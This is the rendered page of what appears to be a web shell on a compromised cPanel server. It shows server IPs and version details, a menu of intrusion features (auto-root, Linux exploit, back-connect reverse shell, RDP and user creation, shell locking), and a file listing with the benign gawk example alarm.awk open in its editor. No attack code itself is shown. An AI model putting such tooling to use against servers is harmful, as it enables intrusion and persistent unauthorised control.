Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.80.74
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
gawk /
examples /
prog /
[ HOME SHELL ]
Name
Size
Permission
Action
alarm.awk
2.31
KB
-rw-r--r--
anagram.awk
1.33
KB
-rw-r--r--
awksed.awk
515
B
-rw-r--r--
cut.awk
3.61
KB
-rw-r--r--
dupword.awk
507
B
-rw-r--r--
egrep.awk
1.91
KB
-rw-r--r--
extract.awk
1.84
KB
-rw-r--r--
guide.awk
165
B
-rw-r--r--
histsort.awk
283
B
-rw-r--r--
id.awk
1.22
KB
-rw-r--r--
igawk.sh
3.11
KB
-rw-r--r--
indirectcall.awk
1.91
KB
-rw-r--r--
labels.awk
1014
B
-rw-r--r--
pi.awk
341
B
-rw-r--r--
split.awk
1.17
KB
-rw-r--r--
tee.awk
770
B
-rw-r--r--
testbits.awk
736
B
-rw-r--r--
translate.awk
1.15
KB
-rw-r--r--
uniq.awk
2.64
KB
-rw-r--r--
wc.awk
1.45
KB
-rw-r--r--
wordfreq.awk
347
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : alarm.awk
# alarm.awk --- set an alarm # # Requires getlocaltime() library function # # Arnold Robbins, arnold@skeeve.com, Public Domain # May 1993 # Revised December 2010 # usage: alarm time [ "message" [ count [ delay ] ] ] BEGIN { # Initial argument sanity checking usage1 = "usage: alarm time ['message' [count [delay]]]" usage2 = sprintf("\t(%s) time ::= hh:mm", ARGV[1]) if (ARGC < 2) { print usage1 > "/dev/stderr" print usage2 > "/dev/stderr" exit 1 } switch (ARGC) { case 5: delay = ARGV[4] + 0 # fall through case 4: count = ARGV[3] + 0 # fall through case 3: message = ARGV[2] break default: if (ARGV[1] !~ /[[:digit:]]?[[:digit:]]:[[:digit:]]{2}/) { print usage1 > "/dev/stderr" print usage2 > "/dev/stderr" exit 1 } break } # set defaults for once we reach the desired time if (delay == 0) delay = 180 # 3 minutes if (count == 0) count = 5 if (message == "") message = sprintf("\aIt is now %s!\a", ARGV[1]) else if (index(message, "\a") == 0) message = "\a" message "\a" # split up alarm time split(ARGV[1], atime, ":") hour = atime[1] + 0 # force numeric minute = atime[2] + 0 # force numeric # get current broken down time getlocaltime(now) # if time given is 12-hour hours and it's after that # hour, e.g., `alarm 5:30' at 9 a.m. means 5:30 p.m., # then add 12 to real hour if (hour < 12 && now["hour"] > hour) hour += 12 # set target time in seconds since midnight target = (hour * 60 * 60) + (minute * 60) # get current time in seconds since midnight current = (now["hour"] * 60 * 60) + \ (now["minute"] * 60) + now["second"] # how long to sleep for naptime = target - current if (naptime <= 0) { print "alarm: time is in the past!" > "/dev/stderr" exit 1 } # zzzzzz..... go away if interrupted if (system(sprintf("sleep %d", naptime)) != 0) exit 1 # time to notify! command = sprintf("sleep %d", delay) for (i = 1; i <= count; i++) { print message # if sleep command interrupted, go away if (system(command) != 0) break } exit 0 }
Close